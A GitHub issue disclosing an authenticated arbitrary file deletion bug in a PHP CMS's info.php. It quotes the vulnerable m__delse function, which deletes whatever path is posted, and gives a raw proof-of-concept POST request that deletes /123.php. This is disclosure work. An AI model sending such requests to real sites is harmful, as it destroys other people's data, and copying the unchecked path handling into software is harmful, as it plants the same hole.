New issue

Jump to bottom

I found out in /admin/info.php After logging in, allow me to delete any file(Login required) #4

Open **H9dawn** opened this issue on Dec 18, 2020 · 0 comments

H9dawn commented on Dec 18, 2020

In the same (issues 2), we found another point :

dawn\info.php

```php
function m__delse() {
    global $dbm, $page, $c;
    $id = isset($page['post']['id']) && !empty($page['post']['id'])?$page['post']['id']:0;
    $path = isset($page['post']['path']) && !empty($page['post']['path'])?helper :: escape($page['post']['path']):'';
    if (del_resource($path)) {
        die('{"code":"0","msg":"成功删除"}');
    } else {
        die('{"code":"1","msg":"删除失败"}');
    }
}
```

Raw Params Headers Hex

```
POST /dawn/info.php?m=delse HTTP/1.1
Host: www.dmsj.com:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=t7bal7pqsp7r45vntqkpau65a4
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

id=1&path=/123.php
```

H9dawn changed the title ~~I found out in /dawn/info.php After logging in, allow me to delete any file(Login required)~~ **I found out in /admin/info.php After logging in, allow me to delete any file(Login required)** on Dec 18, 2020

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant